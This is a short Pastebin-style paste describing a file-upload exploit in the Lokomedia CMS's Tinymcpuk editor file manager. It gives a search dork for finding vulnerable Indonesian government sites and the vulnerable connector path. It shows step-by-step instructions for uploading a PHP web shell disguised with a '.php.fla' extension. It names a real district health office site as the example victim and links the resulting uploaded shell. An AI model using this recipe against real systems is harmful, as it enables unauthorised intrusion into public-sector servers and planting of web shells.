ToKeiChun

Lokomedia Tinymcpuk File Upload

Sep 21st, 2019
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. Lokomedia Tinymcpuk File Upload
  2.  
  3. Thnks : Typical Idiot Security - Sanjungan Jiwa
  4.  
  5. DORK
  6. inurl:/gambar/Image/ site:go.id
  7.  
  8. BUG
  9. site/PATH/filemanager/browser.html?Connector=connectors/php/connector.php&Type=Flash
  10.  
  11. EXAMPLE
  12. http://dinkes.beraukab.go.id/dinkesadmin/editor/
  13.  
  14. POC
  15. [-]getting here for access file upload
  16. http://dinkes.beraukab.go.id/dinkesadmin/editor/filemanager/browser.html?Connector=connectors/php/connector.php&Type=Flash
  17. [-]test create new dir.. if can create dir u can upload shell .php.fla
  18. [-]upload ur shell extension .php.fla
  19.  
  20. RESULT
  21. http://dinkes.beraukab.go.id/dinkesadmin/editor/gambar/Flash/up.php.fla
  22.  
  23. NB
  24. why use Type=Flash ? coz fla can upload in there
Add Comment
Please, Sign In to add comment